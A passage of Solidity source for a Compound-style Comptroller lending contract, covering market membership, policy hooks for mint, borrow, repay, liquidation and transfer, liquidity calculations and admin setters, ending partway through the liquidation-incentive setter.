import "./ComptrollerInterface.sol";
import "./ComptrollerStorage.sol";
import "./Unitroller.sol";
import "./Governance/Dop.sol";
/**
* @title Compound's Comptroller Contract
* @author Compound
*/
contract Comptroller is ComptrollerV4Storage, ComptrollerInterface, ComptrollerErrorReporter, Exponential {
/// @notice Emitted when an admin supports a market
event MarketListed(CToken cToken);
/// @notice Emitted when an account enters a market
event MarketEntered(CToken cToken, address account);
/// @notice Emitted when an account exits a market
event MarketExited(CToken cToken, address account);
/// @notice Emitted when close factor is changed by admin
event NewCloseFactor(uint oldCloseFactorMantissa, uint newCloseFactorMantissa);
/// @notice Emitted when a collateral factor is changed by admin
event NewCollateralFactor(CToken cToken, uint oldCollateralFactorMantissa, uint newCollateralFactorMantissa);
/// @notice Emitted when liquidation incentive is changed by admin
event NewLiquidationIncentive(uint oldLiquidationIncentiveMantissa, uint newLiquidationIncentiveMantissa);
/// @notice Emitted when maxAssets is changed by admin
event NewMaxAssets(uint oldMaxAssets, uint newMaxAssets);
/// @notice Emitted when price oracle is changed
event NewPriceOracle(PriceOracle oldPriceOracle, PriceOracle newPriceOracle);
/// @notice Emitted when pause guardian is changed
event NewPauseGuardian(address oldPauseGuardian, address newPauseGuardian);
/// @notice Emitted when an action is paused globally
event ActionPaused(string action, bool pauseState);
/// @notice Emitted when an action is paused on a market
event ActionPaused(CToken cToken, string action, bool pauseState);
/// @notice Emitted when market comped status is changed
event MarketComped(CToken cToken, bool isComped);
/// @notice Emitted when COMP rate is changed
event NewCompRate(uint oldCompRate, uint newCompRate);
/// @notice Emitted when a new COMP speed is calculated for a market
event CompSpeedUpdated(CToken indexed cToken, uint newSpeed);
/// @notice Emitted when COMP is distributed to a supplier
event DistributedSupplierComp(CToken indexed cToken, address indexed supplier, uint compDelta, uint compSupplyIndex);
/// @notice Emitted when COMP is distributed to a borrower
event DistributedBorrowerComp(CToken indexed cToken, address indexed borrower, uint compDelta, uint compBorrowIndex);
/// @notice Emitted when borrow cap for a cToken is changed
event NewBorrowCap(CToken indexed cToken, uint newBorrowCap);
/// @notice Emitted when borrow cap guardian is changed
event NewBorrowCapGuardian(address oldBorrowCapGuardian, address newBorrowCapGuardian);
/// @notice The threshold above which the flywheel transfers COMP, in wei
uint public constant compClaimThreshold = 0.001e18;
/// @notice The initial COMP index for a market
uint224 public constant compInitialIndex = 1e36;
// closeFactorMantissa must be strictly greater than this value
uint internal constant closeFactorMinMantissa = 0.05e18; // 0.05
// closeFactorMantissa must not exceed this value
uint internal constant closeFactorMaxMantissa = 0.9e18; // 0.9
// No collateralFactorMantissa may exceed this value
uint internal constant collateralFactorMaxMantissa = 0.9e18; // 0.9
// liquidationIncentiveMantissa must be no less than this value
uint internal constant liquidationIncentiveMinMantissa = 1.0e18; // 1.0
// liquidationIncentiveMantissa must be no greater than this value
uint internal constant liquidationIncentiveMaxMantissa = 1.5e18; // 1.5
constructor() public {
admin = msg.sender;
}
/*** Assets You Are In ***/
/**
* @notice Returns the assets an account has entered
* @param account The address of the account to pull assets for
* @return A dynamic list with the assets the account has entered
*/
function getAssetsIn(address account) external view returns (CToken[] memory) {
CToken[] memory assetsIn = accountAssets[account];
return assetsIn;
}
/**
* @notice Returns whether the given account is entered in the given asset
* @param account The address of the account to check
* @param cToken The cToken to check
* @return True if the account is in the asset, otherwise false.
*/
function checkMembership(address account, CToken cToken) external view returns (bool) {
return markets[address(cToken)].accountMembership[account];
}
/**
* @notice Add assets to be included in account liquidity calculation
* @param cTokens The list of addresses of the cToken markets to be enabled
* @return Success indicator for whether each corresponding market was entered
*/
function enterMarkets(address[] memory cTokens) public override returns (uint[] memory) {
uint len = cTokens.length;
uint[] memory results = new uint[](len);
for (uint i = 0; i < len; i++) {
CToken cToken = CToken(cTokens[i]);
results[i] = uint(addToMarketInternal(cToken, msg.sender));
}
return results;
}
/**
* @notice Add the market to the borrower's "assets in" for liquidity calculations
* @param cToken The market to enter
* @param borrower The address of the account to modify
* @return Success indicator for whether the market was entered
*/
function addToMarketInternal(CToken cToken, address borrower) internal returns (Error) {
Market storage marketToJoin = markets[address(cToken)];
if (!marketToJoin.isListed) {
// market is not listed, cannot join
return Error.MARKET_NOT_LISTED;
}
if (marketToJoin.accountMembership[borrower] == true) {
// already joined
return Error.NO_ERROR;
}
if (accountAssets[borrower].length >= maxAssets) {
// no space, cannot join
return Error.TOO_MANY_ASSETS;
}
// survived the gauntlet, add to list
// NOTE: we store these somewhat redundantly as a significant optimization
// this avoids having to iterate through the list for the most common use cases
// that is, only when we need to perform liquidity checks
// and not whenever we want to check if an account is in a particular market
marketToJoin.accountMembership[borrower] = true;
accountAssets[borrower].push(cToken);
emit MarketEntered(cToken, borrower);
return Error.NO_ERROR;
}
/**
* @notice Removes asset from sender's account liquidity calculation
* @dev Sender must not have an outstanding borrow balance in the asset,
* or be providing necessary collateral for an outstanding borrow.
* @param cTokenAddress The address of the asset to be removed
* @return Whether or not the account successfully exited the market
*/
function exitMarket(address cTokenAddress) external override returns (uint) {
CToken cToken = CToken(cTokenAddress);
/* Get sender tokensHeld and amountOwed underlying from the cToken */
(uint oErr, uint tokensHeld, uint amountOwed, ) = cToken.getAccountSnapshot(msg.sender);
require(oErr == 0, "exitMarket: getAccountSnapshot failed"); // semi-opaque error code
/* Fail if the sender has a borrow balance */
if (amountOwed != 0) {
return fail(Error.NONZERO_BORROW_BALANCE, FailureInfo.EXIT_MARKET_BALANCE_OWED);
}
/* Fail if the sender is not permitted to redeem all of their tokens */
uint allowed = redeemAllowedInternal(cTokenAddress, msg.sender, tokensHeld);
if (allowed != 0) {
return failOpaque(Error.REJECTION, FailureInfo.EXIT_MARKET_REJECTION, allowed);
}
Market storage marketToExit = markets[address(cToken)];
/* Return true if the sender is not already ‘in’ the market */
if (!marketToExit.accountMembership[msg.sender]) {
return uint(Error.NO_ERROR);
}
/* Set cToken account membership to false */
delete marketToExit.accountMembership[msg.sender];
/* Delete cToken from the account’s list of assets */
// load into memory for faster iteration
CToken[] memory userAssetList = accountAssets[msg.sender];
uint len = userAssetList.length;
uint assetIndex = len;
for (uint i = 0; i < len; i++) {
if (userAssetList[i] == cToken) {
assetIndex = i;
break;
}
}
// We *must* have found the asset in the list or our redundant data structure is broken
assert(assetIndex < len);
// copy last item in list to location of item to be removed, reduce length by 1
CToken[] storage storedList = accountAssets[msg.sender];
storedList[assetIndex] = storedList[storedList.length - 1];
storedList.pop();
emit MarketExited(cToken, msg.sender);
return uint(Error.NO_ERROR);
}
/*** Policy Hooks ***/
/**
* @notice Checks if the account should be allowed to mint tokens in the given market
* @param cToken The market to verify the mint against
* @param minter The account which would get the minted tokens
* @param mintAmount The amount of underlying being supplied to the market in exchange for tokens
* @return 0 if the mint is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol)
*/
function mintAllowed(address cToken, address minter, uint mintAmount) external override returns (uint) {
// Pausing is a very serious situation - we revert to sound the alarms
require(!mintGuardianPaused[cToken], "mint is paused");
// Shh - currently unused
minter;
mintAmount;
if (!markets[cToken].isListed) {
return uint(Error.MARKET_NOT_LISTED);
}
// Keep the flywheel moving
updateCompSupplyIndex(cToken);
distributeSupplierComp(cToken, minter, false);
return uint(Error.NO_ERROR);
}
/**
* @notice Validates mint and reverts on rejection. May emit logs.
* @param cToken Asset being minted
* @param minter The address minting the tokens
* @param actualMintAmount The amount of the underlying asset being minted
* @param mintTokens The number of tokens being minted
*/
function mintVerify(address cToken, address minter, uint actualMintAmount, uint mintTokens) external override {
// Shh - currently unused
cToken;
minter;
actualMintAmount;
mintTokens;
// Shh - we don't ever want this hook to be marked pure
if (false) {
maxAssets = maxAssets;
}
}
/**
* @notice Checks if the account should be allowed to redeem tokens in the given market
* @param cToken The market to verify the redeem against
* @param redeemer The account which would redeem the tokens
* @param redeemTokens The number of cTokens to exchange for the underlying asset in the market
* @return 0 if the redeem is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol)
*/
function redeemAllowed(address cToken, address redeemer, uint redeemTokens) external override returns (uint) {
uint allowed = redeemAllowedInternal(cToken, redeemer, redeemTokens);
if (allowed != uint(Error.NO_ERROR)) {
return allowed;
}
// Keep the flywheel moving
updateCompSupplyIndex(cToken);
distributeSupplierComp(cToken, redeemer, false);
return uint(Error.NO_ERROR);
}
function redeemAllowedInternal(address cToken, address redeemer, uint redeemTokens) internal returns (uint) {
if (!markets[cToken].isListed) {
return uint(Error.MARKET_NOT_LISTED);
}
/* If the redeemer is not 'in' the market, then we can bypass the liquidity check */
if (!markets[cToken].accountMembership[redeemer]) {
return uint(Error.NO_ERROR);
}
/* Otherwise, perform a hypothetical liquidity check to guard against shortfall */
(Error err, , uint shortfall) = getHypotheticalAccountLiquidityInternal(redeemer, CToken(cToken), redeemTokens, 0);
if (err != Error.NO_ERROR) {
return uint(err);
}
if (shortfall > 0) {
return uint(Error.INSUFFICIENT_LIQUIDITY);
}
return uint(Error.NO_ERROR);
}
/**
* @notice Validates redeem and reverts on rejection. May emit logs.
* @param cToken Asset being redeemed
* @param redeemer The address redeeming the tokens
* @param redeemAmount The amount of the underlying asset being redeemed
* @param redeemTokens The number of tokens being redeemed
*/
function redeemVerify(address cToken, address redeemer, uint redeemAmount, uint redeemTokens) external override {
// Shh - currently unused
cToken;
redeemer;
// Require tokens is zero or amount is also zero
if (redeemTokens == 0 && redeemAmount > 0) {
revert("redeemTokens zero");
}
}
/**
* @notice Checks if the account should be allowed to borrow the underlying asset of the given market
* @param cToken The market to verify the borrow against
* @param borrower The account which would borrow the asset
* @param borrowAmount The amount of underlying the account would borrow
* @return 0 if the borrow is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol)
*/
function borrowAllowed(address cToken, address borrower, uint borrowAmount) external override returns (uint) {
// Pausing is a very serious situation - we revert to sound the alarms
require(!borrowGuardianPaused[cToken], "borrow is paused");
if (!markets[cToken].isListed) {
return uint(Error.MARKET_NOT_LISTED);
}
if (!markets[cToken].accountMembership[borrower]) {
// only cTokens may call borrowAllowed if borrower not in market
require(msg.sender == cToken, "sender must be cToken");
// attempt to add borrower to the market
Error err = addToMarketInternal(CToken(msg.sender), borrower);
if (err != Error.NO_ERROR) {
return uint(err);
}
// it should be impossible to break the important invariant
assert(markets[cToken].accountMembership[borrower]);
}
if (oracle.getUnderlyingPrice(CToken(cToken)) == 0) {
return uint(Error.PRICE_ERROR);
}
uint borrowCap = borrowCaps[cToken];
// Borrow cap of 0 corresponds to unlimited borrowing
if (borrowCap != 0) {
uint totalBorrows = CToken(cToken).totalBorrows();
(MathError mathErr, uint nextTotalBorrows) = addUInt(totalBorrows, borrowAmount);
require(mathErr == MathError.NO_ERROR, "total borrows overflow");
require(nextTotalBorrows < borrowCap, "market borrow cap reached");
}
(Error err, , uint shortfall) = getHypotheticalAccountLiquidityInternal(borrower, CToken(cToken), 0, borrowAmount);
if (err != Error.NO_ERROR) {
return uint(err);
}
if (shortfall > 0) {
return uint(Error.INSUFFICIENT_LIQUIDITY);
}
// Keep the flywheel moving
Exp memory borrowIndex = Exp({mantissa: CToken(cToken).borrowIndex()});
updateCompBorrowIndex(cToken, borrowIndex);
distributeBorrowerComp(cToken, borrower, borrowIndex, false);
return uint(Error.NO_ERROR);
}
/**
* @notice Validates borrow and reverts on rejection. May emit logs.
* @param cToken Asset whose underlying is being borrowed
* @param borrower The address borrowing the underlying
* @param borrowAmount The amount of the underlying asset requested to borrow
*/
function borrowVerify(address cToken, address borrower, uint borrowAmount) external override {
// Shh - currently unused
cToken;
borrower;
borrowAmount;
// Shh - we don't ever want this hook to be marked pure
if (false) {
maxAssets = maxAssets;
}
}
/**
* @notice Checks if the account should be allowed to repay a borrow in the given market
* @param cToken The market to verify the repay against
* @param payer The account which would repay the asset
* @param borrower The account which would borrowed the asset
* @param repayAmount The amount of the underlying asset the account would repay
* @return 0 if the repay is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol)
*/
function repayBorrowAllowed(
address cToken,
address payer,
address borrower,
uint repayAmount) external override returns (uint) {
// Shh - currently unused
payer;
borrower;
repayAmount;
if (!markets[cToken].isListed) {
return uint(Error.MARKET_NOT_LISTED);
}
// Keep the flywheel moving
Exp memory borrowIndex = Exp({mantissa: CToken(cToken).borrowIndex()});
updateCompBorrowIndex(cToken, borrowIndex);
distributeBorrowerComp(cToken, borrower, borrowIndex, false);
return uint(Error.NO_ERROR);
}
/**
* @notice Validates repayBorrow and reverts on rejection. May emit logs.
* @param cToken Asset being repaid
* @param payer The address repaying the borrow
* @param borrower The address of the borrower
* @param actualRepayAmount The amount of underlying being repaid
*/
function repayBorrowVerify(
address cToken,
address payer,
address borrower,
uint actualRepayAmount,
uint borrowerIndex) external override {
// Shh - currently unused
cToken;
payer;
borrower;
actualRepayAmount;
borrowerIndex;
// Shh - we don't ever want this hook to be marked pure
if (false) {
maxAssets = maxAssets;
}
}
/**
* @notice Checks if the liquidation should be allowed to occur
* @param cTokenBorrowed Asset which was borrowed by the borrower
* @param cTokenCollateral Asset which was used as collateral and will be seized
* @param liquidator The address repaying the borrow and seizing the collateral
* @param borrower The address of the borrower
* @param repayAmount The amount of underlying being repaid
*/
function liquidateBorrowAllowed(
address cTokenBorrowed,
address cTokenCollateral,
address liquidator,
address borrower,
uint repayAmount) external override returns (uint) {
// Shh - currently unused
liquidator;
if (!markets[cTokenBorrowed].isListed || !markets[cTokenCollateral].isListed) {
return uint(Error.MARKET_NOT_LISTED);
}
/* The borrower must have shortfall in order to be liquidatable */
(Error err, , uint shortfall) = getAccountLiquidityInternal(borrower);
if (err != Error.NO_ERROR) {
return uint(err);
}
if (shortfall == 0) {
return uint(Error.INSUFFICIENT_SHORTFALL);
}
/* The liquidator may not repay more than what is allowed by the closeFactor */
uint borrowBalance = CToken(cTokenBorrowed).borrowBalanceStored(borrower);
(MathError mathErr, uint maxClose) = mulScalarTruncate(Exp({mantissa: closeFactorMantissa}), borrowBalance);
if (mathErr != MathError.NO_ERROR) {
return uint(Error.MATH_ERROR);
}
if (repayAmount > maxClose) {
return uint(Error.TOO_MUCH_REPAY);
}
return uint(Error.NO_ERROR);
}
/**
* @notice Validates liquidateBorrow and reverts on rejection. May emit logs.
* @param cTokenBorrowed Asset which was borrowed by the borrower
* @param cTokenCollateral Asset which was used as collateral and will be seized
* @param liquidator The address repaying the borrow and seizing the collateral
* @param borrower The address of the borrower
* @param actualRepayAmount The amount of underlying being repaid
*/
function liquidateBorrowVerify(
address cTokenBorrowed,
address cTokenCollateral,
address liquidator,
address borrower,
uint actualRepayAmount,
uint seizeTokens) external override {
// Shh - currently unused
cTokenBorrowed;
cTokenCollateral;
liquidator;
borrower;
actualRepayAmount;
seizeTokens;
// Shh - we don't ever want this hook to be marked pure
if (false) {
maxAssets = maxAssets;
}
}
/**
* @notice Checks if the seizing of assets should be allowed to occur
* @param cTokenCollateral Asset which was used as collateral and will be seized
* @param cTokenBorrowed Asset which was borrowed by the borrower
* @param liquidator The address repaying the borrow and seizing the collateral
* @param borrower The address of the borrower
* @param seizeTokens The number of collateral tokens to seize
*/
function seizeAllowed(
address cTokenCollateral,
address cTokenBorrowed,
address liquidator,
address borrower,
uint seizeTokens) external override returns (uint) {
// Pausing is a very serious situation - we revert to sound the alarms
require(!seizeGuardianPaused, "seize is paused");
// Shh - currently unused
seizeTokens;
if (!markets[cTokenCollateral].isListed || !markets[cTokenBorrowed].isListed) {
return uint(Error.MARKET_NOT_LISTED);
}
if (CToken(cTokenCollateral).comptroller() != CToken(cTokenBorrowed).comptroller()) {
return uint(Error.COMPTROLLER_MISMATCH);
}
// Keep the flywheel moving
updateCompSupplyIndex(cTokenCollateral);
distributeSupplierComp(cTokenCollateral, borrower, false);
distributeSupplierComp(cTokenCollateral, liquidator, false);
return uint(Error.NO_ERROR);
}
/**
* @notice Validates seize and reverts on rejection. May emit logs.
* @param cTokenCollateral Asset which was used as collateral and will be seized
* @param cTokenBorrowed Asset which was borrowed by the borrower
* @param liquidator The address repaying the borrow and seizing the collateral
* @param borrower The address of the borrower
* @param seizeTokens The number of collateral tokens to seize
*/
function seizeVerify(
address cTokenCollateral,
address cTokenBorrowed,
address liquidator,
address borrower,
uint seizeTokens) external override {
// Shh - currently unused
cTokenCollateral;
cTokenBorrowed;
liquidator;
borrower;
seizeTokens;
// Shh - we don't ever want this hook to be marked pure
if (false) {
maxAssets = maxAssets;
}
}
/**
* @notice Checks if the account should be allowed to transfer tokens in the given market
* @param cToken The market to verify the transfer against
* @param src The account which sources the tokens
* @param dst The account which receives the tokens
* @param transferTokens The number of cTokens to transfer
* @return 0 if the transfer is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol)
*/
function transferAllowed(address cToken, address src, address dst, uint transferTokens) external override returns (uint) {
// Pausing is a very serious situation - we revert to sound the alarms
require(!transferGuardianPaused, "transfer is paused");
// Currently the only consideration is whether or not
// the src is allowed to redeem this many tokens
uint allowed = redeemAllowedInternal(cToken, src, transferTokens);
if (allowed != uint(Error.NO_ERROR)) {
return allowed;
}
// Keep the flywheel moving
updateCompSupplyIndex(cToken);
distributeSupplierComp(cToken, src, false);
distributeSupplierComp(cToken, dst, false);
return uint(Error.NO_ERROR);
}
/**
* @notice Validates transfer and reverts on rejection. May emit logs.
* @param cToken Asset being transferred
* @param src The account which sources the tokens
* @param dst The account which receives the tokens
* @param transferTokens The number of cTokens to transfer
*/
function transferVerify(address cToken, address src, address dst, uint transferTokens) external override {
// Shh - currently unused
cToken;
src;
dst;
transferTokens;
// Shh - we don't ever want this hook to be marked pure
if (false) {
maxAssets = maxAssets;
}
}
/*** Liquidity/Liquidation Calculations ***/
/**
* @dev Local vars for avoiding stack-depth limits in calculating account liquidity.
* Note that `cTokenBalance` is the number of cTokens the account owns in the market,
* whereas `borrowBalance` is the amount of underlying that the account has borrowed.
*/
struct AccountLiquidityLocalVars {
uint sumCollateral;
uint sumBorrowPlusEffects;
uint cTokenBalance;
uint borrowBalance;
uint exchangeRateMantissa;
uint oraclePriceMantissa;
Exp collateralFactor;
Exp exchangeRate;
Exp oraclePrice;
Exp tokensToDenom;
}
/**
* @notice Determine the current account liquidity wrt collateral requirements
* @return (possible error code (semi-opaque),
account liquidity in excess of collateral requirements,
* account shortfall below collateral requirements)
*/
function getAccountLiquidity(address account) public returns (uint, uint, uint) {
(Error err, uint liquidity, uint shortfall) = getHypotheticalAccountLiquidityInternal(account, CToken(0), 0, 0);
return (uint(err), liquidity, shortfall);
}
/**
* @notice Determine the current account liquidity wrt collateral requirements
* @return (possible error code,
account liquidity in excess of collateral requirements,
* account shortfall below collateral requirements)
*/
function getAccountLiquidityInternal(address account) internal returns (Error, uint, uint) {
return getHypotheticalAccountLiquidityInternal(account, CToken(0), 0, 0);
}
/**
* @notice Determine what the account liquidity would be if the given amounts were redeemed/borrowed
* @param cTokenModify The market to hypothetically redeem/borrow in
* @param account The account to determine liquidity for
* @param redeemTokens The number of tokens to hypothetically redeem
* @param borrowAmount The amount of underlying to hypothetically borrow
* @return (possible error code (semi-opaque),
hypothetical account liquidity in excess of collateral requirements,
* hypothetical account shortfall below collateral requirements)
*/
function getHypotheticalAccountLiquidity(
address account,
address cTokenModify,
uint redeemTokens,
uint borrowAmount) public returns (uint, uint, uint) {
(Error err, uint liquidity, uint shortfall) = getHypotheticalAccountLiquidityInternal(account, CToken(cTokenModify), redeemTokens, borrowAmount);
return (uint(err), liquidity, shortfall);
}
/**
* @notice Determine what the account liquidity would be if the given amounts were redeemed/borrowed
* @param cTokenModify The market to hypothetically redeem/borrow in
* @param account The account to determine liquidity for
* @param redeemTokens The number of tokens to hypothetically redeem
* @param borrowAmount The amount of underlying to hypothetically borrow
* @dev Note that we calculate the exchangeRateStored for each collateral cToken using stored data,
* without calculating accumulated interest.
* @return (possible error code,
hypothetical account liquidity in excess of collateral requirements,
* hypothetical account shortfall below collateral requirements)
*/
function getHypotheticalAccountLiquidityInternal(
address account,
CToken cTokenModify,
uint redeemTokens,
uint borrowAmount) internal returns (Error, uint, uint) {
AccountLiquidityLocalVars memory vars; // Holds all our calculation results
uint oErr;
MathError mErr;
// For each asset the account is in
CToken[] memory assets = accountAssets[account];
for (uint i = 0; i < assets.length; i++) {
CToken asset = assets[i];
// Read the balances and exchange rate from the cToken
(oErr, vars.cTokenBalance, vars.borrowBalance, vars.exchangeRateMantissa) = asset.getAccountSnapshot(account);
if (oErr != 0) { // semi-opaque error code, we assume NO_ERROR == 0 is invariant between upgrades
return (Error.SNAPSHOT_ERROR, 0, 0);
}
vars.collateralFactor = Exp({mantissa: markets[address(asset)].collateralFactorMantissa});
vars.exchangeRate = Exp({mantissa: vars.exchangeRateMantissa});
// Get the normalized price of the asset
vars.oraclePriceMantissa = oracle.getUnderlyingPrice(asset);
if (vars.oraclePriceMantissa == 0) {
return (Error.PRICE_ERROR, 0, 0);
}
vars.oraclePrice = Exp({mantissa: vars.oraclePriceMantissa});
// Pre-compute a conversion factor from tokens -> ether (normalized price value)
(mErr, vars.tokensToDenom) = mulExp3(vars.collateralFactor, vars.exchangeRate, vars.oraclePrice);
if (mErr != MathError.NO_ERROR) {
return (Error.MATH_ERROR, 0, 0);
}
// sumCollateral += tokensToDenom * cTokenBalance
(mErr, vars.sumCollateral) = mulScalarTruncateAddUInt(vars.tokensToDenom, vars.cTokenBalance, vars.sumCollateral);
if (mErr != MathError.NO_ERROR) {
return (Error.MATH_ERROR, 0, 0);
}
// sumBorrowPlusEffects += oraclePrice * borrowBalance
(mErr, vars.sumBorrowPlusEffects) = mulScalarTruncateAddUInt(vars.oraclePrice, vars.borrowBalance, vars.sumBorrowPlusEffects);
if (mErr != MathError.NO_ERROR) {
return (Error.MATH_ERROR, 0, 0);
}
// Calculate effects of interacting with cTokenModify
if (asset == cTokenModify) {
// redeem effect
// sumBorrowPlusEffects += tokensToDenom * redeemTokens
(mErr, vars.sumBorrowPlusEffects) = mulScalarTruncateAddUInt(vars.tokensToDenom, redeemTokens, vars.sumBorrowPlusEffects);
if (mErr != MathError.NO_ERROR) {
return (Error.MATH_ERROR, 0, 0);
}
// borrow effect
// sumBorrowPlusEffects += oraclePrice * borrowAmount
(mErr, vars.sumBorrowPlusEffects) = mulScalarTruncateAddUInt(vars.oraclePrice, borrowAmount, vars.sumBorrowPlusEffects);
if (mErr != MathError.NO_ERROR) {
return (Error.MATH_ERROR, 0, 0);
}
}
}
// These are safe, as the underflow condition is checked first
if (vars.sumCollateral > vars.sumBorrowPlusEffects) {
return (Error.NO_ERROR, vars.sumCollateral - vars.sumBorrowPlusEffects, 0);
} else {
return (Error.NO_ERROR, 0, vars.sumBorrowPlusEffects - vars.sumCollateral);
}
}
/**
* @notice Calculate number of tokens of collateral asset to seize given an underlying amount
* @dev Used in liquidation (called in cToken.liquidateBorrowFresh)
* @param cTokenBorrowed The address of the borrowed cToken
* @param cTokenCollateral The address of the collateral cToken
* @param actualRepayAmount The amount of cTokenBorrowed underlying to convert into cTokenCollateral tokens
* @return (errorCode, number of cTokenCollateral tokens to be seized in a liquidation)
*/
function liquidateCalculateSeizeTokens(address cTokenBorrowed, address cTokenCollateral, uint actualRepayAmount) external override returns (uint, uint) {
/* Read oracle prices for borrowed and collateral markets */
uint priceBorrowedMantissa = oracle.getUnderlyingPrice(CToken(cTokenBorrowed));
uint priceCollateralMantissa = oracle.getUnderlyingPrice(CToken(cTokenCollateral));
if (priceBorrowedMantissa == 0 || priceCollateralMantissa == 0) {
return (uint(Error.PRICE_ERROR), 0);
}
/*
* Get the exchange rate and calculate the number of collateral tokens to seize:
* seizeAmount = actualRepayAmount * liquidationIncentive * priceBorrowed / priceCollateral
* seizeTokens = seizeAmount / exchangeRate
* = actualRepayAmount * (liquidationIncentive * priceBorrowed) / (priceCollateral * exchangeRate)
*/
uint exchangeRateMantissa = CToken(cTokenCollateral).exchangeRateStored(); // Note: reverts on error
uint seizeTokens;
Exp memory numerator;
Exp memory denominator;
Exp memory ratio;
MathError mathErr;
(mathErr, numerator) = mulExp(liquidationIncentiveMantissa, priceBorrowedMantissa);
if (mathErr != MathError.NO_ERROR) {
return (uint(Error.MATH_ERROR), 0);
}
(mathErr, denominator) = mulExp(priceCollateralMantissa, exchangeRateMantissa);
if (mathErr != MathError.NO_ERROR) {
return (uint(Error.MATH_ERROR), 0);
}
(mathErr, ratio) = divExp(numerator, denominator);
if (mathErr != MathError.NO_ERROR) {
return (uint(Error.MATH_ERROR), 0);
}
(mathErr, seizeTokens) = mulScalarTruncate(ratio, actualRepayAmount);
if (mathErr != MathError.NO_ERROR) {
return (uint(Error.MATH_ERROR), 0);
}
return (uint(Error.NO_ERROR), seizeTokens);
}
/*** Admin Functions ***/
/**
* @notice Sets a new price oracle for the comptroller
* @dev Admin function to set a new price oracle
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setPriceOracle(PriceOracle newOracle) public returns (uint) {
// Check caller is admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_PRICE_ORACLE_OWNER_CHECK);
}
// Track the old oracle for the comptroller
PriceOracle oldOracle = oracle;
// Set comptroller's oracle to newOracle
oracle = newOracle;
// Emit NewPriceOracle(oldOracle, newOracle)
emit NewPriceOracle(oldOracle, newOracle);
return uint(Error.NO_ERROR);
}
/**
* @notice Sets the closeFactor used when liquidating borrows
* @dev Admin function to set closeFactor
* @param newCloseFactorMantissa New close factor, scaled by 1e18
* @return uint 0=success, otherwise a failure. (See ErrorReporter for details)
*/
function _setCloseFactor(uint newCloseFactorMantissa) external returns (uint) {
// Check caller is admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_CLOSE_FACTOR_OWNER_CHECK);
}
Exp memory newCloseFactorExp = Exp({mantissa: newCloseFactorMantissa});
Exp memory lowLimit = Exp({mantissa: closeFactorMinMantissa});
if (lessThanOrEqualExp(newCloseFactorExp, lowLimit)) {
return fail(Error.INVALID_CLOSE_FACTOR, FailureInfo.SET_CLOSE_FACTOR_VALIDATION);
}
Exp memory highLimit = Exp({mantissa: closeFactorMaxMantissa});
if (lessThanExp(highLimit, newCloseFactorExp)) {
return fail(Error.INVALID_CLOSE_FACTOR, FailureInfo.SET_CLOSE_FACTOR_VALIDATION);
}
uint oldCloseFactorMantissa = closeFactorMantissa;
closeFactorMantissa = newCloseFactorMantissa;
emit NewCloseFactor(oldCloseFactorMantissa, closeFactorMantissa);
return uint(Error.NO_ERROR);
}
/**
* @notice Sets the collateralFactor for a market
* @dev Admin function to set per-market collateralFactor
* @param cToken The market to set the factor on
* @param newCollateralFactorMantissa The new collateral factor, scaled by 1e18
* @return uint 0=success, otherwise a failure. (See ErrorReporter for details)
*/
function _setCollateralFactor(CToken cToken, uint newCollateralFactorMantissa) external returns (uint) {
// Check caller is admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_COLLATERAL_FACTOR_OWNER_CHECK);
}
// Verify market is listed
Market storage market = markets[address(cToken)];
if (!market.isListed) {
return fail(Error.MARKET_NOT_LISTED, FailureInfo.SET_COLLATERAL_FACTOR_NO_EXISTS);
}
Exp memory newCollateralFactorExp = Exp({mantissa: newCollateralFactorMantissa});
// Check collateral factor <= 0.9
Exp memory highLimit = Exp({mantissa: collateralFactorMaxMantissa});
if (lessThanExp(highLimit, newCollateralFactorExp)) {
return fail(Error.INVALID_COLLATERAL_FACTOR, FailureInfo.SET_COLLATERAL_FACTOR_VALIDATION);
}
// If collateral factor != 0, fail if price == 0
if (newCollateralFactorMantissa != 0 && oracle.getUnderlyingPrice(cToken) == 0) {
return fail(Error.PRICE_ERROR, FailureInfo.SET_COLLATERAL_FACTOR_WITHOUT_PRICE);
}
// Set market's collateral factor to new collateral factor, remember old value
uint oldCollateralFactorMantissa = market.collateralFactorMantissa;
market.collateralFactorMantissa = newCollateralFactorMantissa;
// Emit event with asset, old collateral factor, and new collateral factor
emit NewCollateralFactor(cToken, oldCollateralFactorMantissa, newCollateralFactorMantissa);
return uint(Error.NO_ERROR);
}
/**
* @notice Sets maxAssets which controls how many markets can be entered
* @dev Admin function to set maxAssets
* @param newMaxAssets New max assets
* @return uint 0=success, otherwise a failure. (See ErrorReporter for details)
*/
function _setMaxAssets(uint newMaxAssets) external returns (uint) {
// Check caller is admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_MAX_ASSETS_OWNER_CHECK);
}
uint oldMaxAssets = maxAssets;
maxAssets = newMaxAssets;
emit NewMaxAssets(oldMaxAssets, newMaxAssets);
return uint(Error.NO_ERROR);
}
/**
* @notice Sets liquidationIncentive
* @dev Admin function to set liquidationIncentive
* @param newLiquidationIncentiveMantissa New liquidationIncentive scaled by 1e18
* @return uint 0=success, otherwise a failure. (See ErrorReporter for details)
*/
function _setLiquidationIncentive(uint newLiquidationIncentiveMantissa) external returns (uint) {
// Check caller is admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_LIQUIDATION_INCENTIVE_OWNER_CHECK);
}
// Check de-scaled min <= newLiquidationIncentive <= max
Exp memory newLiquidationIncentive = Exp({mantissa: newLiquidationIncentiveMantissa});
Exp memory minLiquidationIncentive = Exp({mantissa: liquidationIncentiveMinMantissa});
if (lessThanExp(newLiquidationIncentive, minLiquidationIncentive)) {
return fail(Error.INVALID_LIQUIDATION_INCENTIVE, FailureInfo.SET_LIQUIDATION_INCENTIVE_VALIDATION);
}
Exp memory maxLiquidationIncentive = Exp({mantissa: liquidationIncentiveMaxMantissa});
if (lessThanExp(maxLiquidationIncentive, newLiquidationIncentive)) {
return fail(Error.INVALID_LIQUIDATION_INCENTIVE, FailureInfo.SET_LIQUIDATION_INCENTIVE_VALIDATION);
}
// Save current value for use in log
